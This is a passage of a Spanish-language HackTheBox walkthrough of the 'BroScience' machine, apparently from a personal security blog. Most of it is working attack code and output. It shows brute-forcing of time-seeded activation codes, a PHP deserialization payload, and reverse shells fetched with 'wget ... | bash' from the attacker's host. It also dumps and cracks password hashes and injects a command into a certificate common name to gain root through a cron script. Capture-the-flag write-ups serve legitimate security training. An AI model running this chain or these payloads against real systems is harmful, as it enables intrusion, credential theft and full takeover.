Creamos un script en python el cual obtiene la fecha de la maquina a partir de una solicitud GET al servidor, cambiamos la fecha de nuestra maquina con la fecha de la respuesta de la solicitud.

python
 1import requests, subprocess, urllib3
 2from datetime import datetime
 3from dateutil.parser import parse as parsedate
 4urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 5
 6r = requests.get('https://10.10.11.195',verify=False)
 7new_date = parsedate(r.headers["Date"]).strftime("%Y/%m/%d %H:%M:%S")
 8
 9print("Site date:", new_date)
10print("Current date:", datetime.now().strftime("%Y/%m/%d %H:%M:%S"))
11
12subprocess.Popen(['sudo','/usr/bin/date', '-s', f'{new_date}'],
13                stdin=subprocess.PIPE,
14                stdout=subprocess.PIPE,
15                stderr=subprocess.PIPE)
16
17print("New Date: ", datetime.now().strftime("%Y/%m/%d %H:%M:%S"))

Nota: tomar en cuenta la zona horaria del servidor: sudo timedatectl set-timezone GMT

Activation code

Utilizamos la misma funcion para generar una lista de codigos, con un segundo de intervalo.

php
 1<?php
 2
 3function generate_activation_code() {
 4    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
 5    srand(time());
 6    $activation_code = "";
 7    for ($i = 0; $i < 32; $i++) {
 8            $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];      
 9    }
10    return $activation_code;
11}
12
13//echo "\n";
14for($i =0; $i < 2000; $i++){
15        sleep(1);
16        echo generate_activation_code() . "\n";
17}

User Auth

Creamos un usuario, y, durante el proceso ejecutamos el archivo anterior creando un wordlist de codigos. Vemos que el usuario bob se creo.

image

image

Vemos la creacion de los codigos, al finalizar la creacion del usuario cancelamos.

bash
 1┌─[✗]─[kirby@parrot]─[~/htb/broscience]
 2└──╼ $php code.php 
 32023-02-17 23-04-11:000000 : 8d0Uahz3sn5vwo6knP90mE5z6khCrMQl
 42023-02-17 23-04-12:000000 : QQXXPxDx8A4VGS8AqYHdMh6fFdDXtt6X
 52023-02-17 23-04-13:000000 : RLGiSd8AHtcnExYx6ejXPqIfecuFpxjo
 62023-02-17 23-04-14:000000 : mzblJRICzcIbJ0uKPhDUUPQTxLF1TUgW
 72023-02-17 23-04-15:000000 : rtDa7oInQtZmGNsrYxUjyvMzKnwXXRRa
 82023-02-17 23-04-16:000000 : HAs3SBxamBSD6jmTQxu7vdthRCPsspKg
 92023-02-17 23-04-17:000000 : xNRonvn3K6e0zi6f02P02iQ3p4pKGHCk
102023-02-17 23-04-18:000000 : sS1Czn1YuRKXQP4vof8PRl9FF9F2BvVm
112023-02-17 23-04-19:000000 : fUe8bBcEBFHV17uHMoZKiImMZ0nURnL6
122023-02-17 23-04-20:000000 : FyTM56WqhOrrtdrgUU90mbZiWgwlOMpN
132023-02-17 23-04-21:000000 : gO2nqz2BiGH5bJdklwPZ1dCpZMez6OrH
14^C

Intentamos con los codigos que generamos hasta encontrar el que active nuestra cuenta.

image

Ingresamos con las credenciales correctamente.

image

Deserialization Attack

Si observamos el valor actual de la cookie, representa el objeto UserPrefs().

bash
1# Cookie
2user-prefs=Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NDoiZGFyayI7fQ%3D%3D
3
4# Decodificado, Serializado
5O:9:"UserPrefs":1:{s:5:"theme";s:4:"dark";}

Utilizamos el codigo de la clase Avatar y AvatarInterface para serializar y codificar en base64. En este caso estariamos creando el archivo abc.php con el contenido de un archivo en un servidor http.

php
 1<?php
 2class Avatar {
 3    public $imgPath;
 4
 5    public function __construct($imgPath) {
 6        $this->imgPath = $imgPath;
 7    }
 8
 9    public function save($tmp) {
10        $f = fopen($this->imgPath, "w");
11        fwrite($f, file_get_contents($tmp));
12        fclose($f);
13    }
14}
15
16class AvatarInterface {
17    public $tmp="http://10.10.14.207/abc.php";
18    public $imgPath="abc.php"; 
19
20    public function __wakeup() {
21        $a = new Avatar($this->imgPath);
22        $a->save($this->tmp);
23    }
24}
25echo base64_encode(serialize(new AvatarInterface()));

El archivo contiene la ejecucion de echo con un mensaje.

php
1<?php
2echo "from hell to heaven";

Creamos un servidor HTTP con python para nuestro archivo abc.php.

bash
1┌─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $cat abc.php 
3<?php
4echo "from hell to heaven";
5┌─[kirby@parrot]─[~/htb/broscience/www]
6└──╼ $ sudo python3 -m http.server 80
7Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Luego generamos nuestro objeto serializado con la información necesaria para crear el archivo abc.php en la máquina.

image

Tras generar una nueva cookie y utilizarla en el sitio, obtuvimos una solicitud al archivo.

bash
1┌─[✗]─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $sudo python3 -m http.server 80
3[sudo] password for kirby: 
4Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
510.10.11.195 - - [17/Feb/2023 23:33:50] "GET /abc.php HTTP/1.0" 200 -
610.10.11.195 - - [17/Feb/2023 23:33:50] "GET /abc.php HTTP/1.0" 200 -
710.10.11.195 - - [17/Feb/2023 23:33:50] "GET /abc.php HTTP/1.0" 200 -

Observamos que nuestro archivo PHP se creo y ejecutó correctamente.

bash
1┌─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $curl -sk https://broscience.htb/abc.php && echo
3from hell to heaven
4┌─[kirby@parrot]─[~/htb/broscience/www]
5└──╼ $

Shell

Generamos nuevamente una cookie esta vez con la ejecucion de una shell inversa.

image

Nuestro archivo shell con el siguiente comando, al mismo tiempo ejecutamos shells.

bash
1<?php
2$cmd = shell_exec("ls -lah && wget -qO- http://10.10.14.207:8081/10.10.14.207:1335|bash");
3echo $cmd;

Logrando obtener una shell como www-data.

bash
 1┌─[kirby@parrot]─[~/htb/broscience/www]
 2└──╼ $rlwrap nc -lvp 1335
 3listening on [any] 1335 ...
 4connect to [10.10.14.207] from broscience.htb [10.10.11.195] 48496
 5/bin/sh: 0: can't access tty; job control turned off
 6$ which python
 7$ which python3
 8/usr/bin/python3
 9$ python3 -c 'import pty;pty.spawn("/bin/bash");'
10www-data@broscience:/var/www/html$ whoami;id;pwd
11www-data
12uid=33(www-data) gid=33(www-data) groups=33(www-data)
13/var/www/html
14www-data@broscience:/var/www/html

User - Bill

Localmente utilizamos las credenciales de la conexion de base de datos, encontramos una lista de hashes de los usuarios registrados.

bash
 1www-data@broscience:/dev/shm$ psql -h localhost --username=dbuser -d broscience -W # RangeOfMotion%777
 2<sername=dbuser -d broscience -W # RangeOfMotion%777
 3Password: 
 4
 5psql (13.9 (Debian 13.9-0+deb11u1))
 6SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
 7Type "help" for help.
 8
 9broscience=> \dt
10WARNING: terminal is not fully functional
11-  (press RETURN)
12 public | comments  | table | postgres
13 public | exercises | table | postgres
14 public | users     | table | postgres
15
16(END)q
17broscience=> \d users
18WARNING: terminal is not fully functional
19-  (press RETURN)
20 id              | integer                  |           | not null | generated a
21lways as identity
22 username        | character varying(100)   |           | not null | 
23 password        | character varying(100)   |           | not null | 
24 email           | character varying(100)   |           | not null | 
25 activation_code | character varying(32)    |           | not null | 
26 is_activated    | boolean                  |           |          | false
27 is_admin        | boolean                  |           |          | false
28 date_created    | timestamp with time zone |           |          | CURRENT_TIM
29ESTAMP
30
31q
32broscience=>
33broscience=> select * from users;
34WARNING: terminal is not fully functional
35-  (press RETURN)
36  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 
3702:02:22.226763-05
38  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 
3903:34:44.127644-04
40  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 
4104:12:34.732872-04
42  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 
4311:45:53.118482-04
44  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 
4510:34:36.226763-04
46(END)
47(END)
48q
49broscience=>

Cracking the Hash

Utilizamos el formato de John para crackear los hashes. En este caso dynamic_4 (Ref. 1 2), si observamos el hash md5 generado en el registro de usuarios (register.php).

bash
1# md5($db_salt . $_POST['password'])
2administrator:15657792073e8a843d4f91fc403454e1$NaCl
3bill:13edad4932da9dbb57d9cd15b66ed104$NaCl
4michael:bd3dad50e2d578ecba87d5fa15ca5f85$NaCl
5john:a7eed23a7be6fe0d765197b1027453fe$NaCl
6dmytro:5d15340bded5b9395d5d14b9c21bc82b$NaCl

Observamos que el formato este en la lista de formatos de john.

bash
 1┌─[kirby@parrot]─[~/htb/broscience]
 2└──╼ $john --list=subformats |grep md5 | head
 3Format = dynamic_0   type = dynamic_0: md5($p) (raw-md5)
 4Format = dynamic_1   type = dynamic_1: md5($p.$s) (joomla)
 5Format = dynamic_2   type = dynamic_2: md5(md5($p)) (e107)
 6Format = dynamic_3   type = dynamic_3: md5(md5(md5($p)))
 7Format = dynamic_4   type = dynamic_4: md5($s.$p) (OSC)
 8Format = dynamic_5   type = dynamic_5: md5($s.$p.$s)
 9Format = dynamic_6   type = dynamic_6: md5(md5($p).$s)
10Format = dynamic_8   type = dynamic_8: md5(md5($s).$p)
11Format = dynamic_9   type = dynamic_9: md5($s.md5($p))
12Format = dynamic_10  type = dynamic_10: md5($s.md5($s.$p))

Al ejecutar john sobre los hashes observamos tres en texto plano.

bash
 1┌─[kirby@parrot]─[~/htb/broscience]
 2└──╼ $john --format=dynamic_4 hashes --wordlist=/usr/share/wordlists/rockyou.txt
 3Using default input encoding: UTF-8
 4Loaded 5 password hashes with no different salts (dynamic_4 [md5($s.$p) (OSC) 256/256 AVX2 8x3])
 5Remaining 4 password hashes with no different salts
 6Warning: no OpenMP support for this hash type, consider --fork=4
 7Press 'q' or Ctrl-C to abort, almost any other key for status
 8iluvhorsesandgym (bill)
 9Aaronthehottest  (dmytro)
102applesplus2apples (michael)
112g 0:00:00:01 DONE (2023-02-18 00:45) 1.626g/s 11659Kp/s 11659Kc/s 42910KC/s !!alex!!mil!!..*7¡Vamos!
12Use the "--show --format=dynamic_4" options to display all of the cracked passwords reliably
13Session completed

Shell

Utilizando las contraseñas ingresamos por SSH con el usuario bill, realizando la lectura de nuestra flag user.txt.

bash
 1┌─[kirby@parrot]─[~/htb/broscience]
 2└──╼ $ssh bill@broscience.htb # iluvhorsesandgym
 3bill@broscience.htb's password: 
 4Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
 5
 6The programs included with the Debian GNU/Linux system are free software;
 7the exact distribution terms for each program are described in the
 8individual files in /usr/share/doc/*/copyright.
 9
10Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
11permitted by applicable law.
12Last login: Fri Feb 17 17:43:24 2023 from 10.10.14.89
13bill@broscience:~$ ls
14Certs  Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  user.txt
15bill@broscience:~$ cat user.txt 
16bb7107c1c936442b4921ca3ce0fbf93f
17bill@broscience:~$

Privesc

Tras ejecutar pspy observamos la ejecucion del script renew_cert.sh sobre un certificado con nombre broscience.crt, como root.

bash
12023/02/17 20:05:55 CMD: UID=117  PID=26800  | postgres: 13/main: autovacuum worker template1                                                                            
22023/02/17 20:06:01 CMD: UID=0    PID=26801  | /usr/sbin/CRON -f 
32023/02/17 20:06:01 CMD: UID=0    PID=26802  | /bin/sh -c /root/cron.sh 
42023/02/17 20:06:01 CMD: UID=0    PID=26804  | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
52023/02/17 20:06:01 CMD: UID=0    PID=26803  | /bin/bash /root/cron.sh 
62023/02/17 20:06:01 CMD: UID=0    PID=26805  | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
72023/02/17 20:06:15 CMD: UID=117  PID=26808  | postgres: 13/main: autovacuum worker broscience                                                                           
82023/02/17 20:06:35 CMD: UID=117  PID=26809  | postgres: 13/main: autovacuum worker

El script obtiene los atributos del certificado, en caso de expirar en las proximas 24 horas crea uno nuevo.

bash
 1#!/bin/bash
 2
 3if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
 4    echo "Usage: $0 certificate.crt";
 5    exit 0;
 6fi
 7
 8if [ -f $1 ]; then
 9
10    openssl x509 -in $1 -noout -checkend 86400 > /dev/null
11
12    if [ $? -eq 0 ]; then
13        echo "No need to renew yet.";
14        exit 1;
15    fi
16
17    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
18
19    country=$(echo $subject | grep -Eo 'C = .{2}')
20    state=$(echo $subject | grep -Eo 'ST = .*,')
21    locality=$(echo $subject | grep -Eo 'L = .*,')
22    organization=$(echo $subject | grep -Eo 'O = .*,')
23    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
24    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
25    emailAddress=$(openssl x509 -in $1 -noout -email)
26
27    country=${country:4}
28    state=$(echo ${state:5} | awk -F, '{print $1}')
29    locality=$(echo ${locality:3} | awk -F, '{print $1}')
30    organization=$(echo ${organization:4} | awk -F, '{print $1}')
31    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
32    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
33
34    echo $subject;
35    echo "";
36    echo "Country     => $country";
37    echo "State       => $state";
38    echo "Locality    => $locality";
39    echo "Org Name    => $organization";
40    echo "Org Unit    => $organizationUnit";
41    echo "Common Name => $commonName";
42    echo "Email       => $emailAddress";
43
44    echo -e "\nGenerating certificate...";
45    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
46    $state
47    $locality
48    $organization
49    $organizationUnit
50    $commonName
51    $emailAddress
52    " 2>/dev/null
53
54    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
55else
56    echo "File doesn't exist"
57    exit 1;

Command Injection

Si observamos, cuando se crea un nuevo certificado toma literal el valor de commonName del certificado, en este caso podriamos inyectar comandos para que se ejecuten.

bash
1/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"

Generamos un certificado ya expirado, utilizando el comando faketime (Ref. 1) donde agregamos un comando a ejecutar en el commo name.

bash
 1┌─[kirby@parrot]─[~/htb/broscience/www]
 2└──╼ $faketime '2008-12-24 08:15:42' openssl req -x509 -sha256 -nodes -days 1 -newkey rsa:2048 -keyout privateKey.key -out broscience.crt
 3Generating a RSA private key
 4...........+++++
 5...........................................................................................+++++
 6writing new private key to 'privateKey.key'
 7-----
 8You are about to be asked to enter information that will be incorporated
 9into your certificate request.
10What you are about to enter is what is called a Distinguished Name or a DN.
11There are quite a few fields but you can leave some blank
12For some fields there will be a default value,
13If you enter '.', the field will be left blank.
14-----
15Country Name (2 letter code) [AU]:da
16State or Province Name (full name) [Some-State]:da
17Locality Name (eg, city) []:da
18Organization Name (eg, company) [Internet Widgits Pty Ltd]:fd
19Organizational Unit Name (eg, section) []:df
20Common Name (e.g. server FQDN or YOUR name) []:$(cat /root/root.txt >/tmp/root.txt)   
21Email Address []:dafsdf

Observamos el comando en el common name.

bash
1┌─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $openssl x509 -in broscience.crt -noout -subject
3subject=C = da, ST = da, L = da, O = fd, OU = df, CN = "$(cat /root/root.txt >/tmp/root.txt)", emailAddress = dafsdf

Tras esperar unos segundos observamos que se ejecuto nuestro comando.

bash
12023/02/17 20:58:02 CMD: UID=0    PID=27674  | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
22023/02/17 20:58:02 CMD: UID=0    PID=27677  | openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 
32023/02/17 20:58:04 CMD: UID=0    PID=27680  | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt >/tmp/root.txt)".crt 
42023/02/17 20:58:04 CMD: UID=0    PID=27679  | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt >/tmp/root.txt)".crt 
52023/02/17 20:58:04 CMD: UID=0    PID=27678  | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt >/tmp/root.txt)".crt

Vemos el archivo root.txt en el directorio /tmp.

bash
 1bill@broscience:~/Certs$ ls -lah /tmp/
 2total 3.9M
 3drwxrwxrwt 18 root       root       4.0K Feb 17 21:02 .
 4drwxr-xr-x 19 root       root       4.0K Jan  2 04:50 ..
 5drwxrwxrwt  2 root       root       4.0K Feb 17 15:22 .ICE-unix
 6drwxrwxrwt  2 root       root       4.0K Feb 17 15:22 .Test-unix
 7[.. snip ..]
 8-rwxr-xr-x  1 bill       bill       3.0M Dec 26 17:21 pspy64
 9-rw-r--r--  1 root       root         33 Feb 17 21:02 root.txt
10drwx------  3 root       root       4.0K Feb 17 15:22 systemd-private-fce4cfc7c070458d89f20a1b40cfa57e-ModemManager.service-u6xz6g
11[.. snip ..]
12drwx------  2 root       root       4.0K Feb 17 15:23 vmware-root_549-4248811676
13bill@broscience:~/Certs$ cat /tmp/root.txt 
147de4c6b32d386c2c39d48dee2ddfefd
15bill@broscience:~/Certs$

Shell

Creamos nuevamente un certificado, esta vez con la ejecucion de una shell inversa.

bash
1$(wget -qO- http://10.10.14.207:8081/10.10.14.207:1335 | bash)

Tras unos segundo obtuvimos una shell como root y nuevamente, la flag root.txt.

bash
 1┌─[kirby@parrot]─[~/htb/broscience/www]
 2└──╼ $rlwrap nc -lvp 1335
 3listening on [any] 1335 ...
 4connect to [10.10.14.207] from broscience.htb [10.10.11.195] 57684
 5/bin/sh: 0: can't access tty; job control turned off
 6#  python3 -c 'import pty;pty.spawn("/bin/bash");'
 7root@broscience:~# ls
 8cron.sh  dbreset.sh  init.sql  root.txt  webapp  webappreset.sh
 9root@broscience:~# cat root.txt
107de4c6b32d386c2c39d48dee2ddfefd3
11root@broscience:~#
sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev HackTheBox - Mentor
Next HackTheBox - Investigation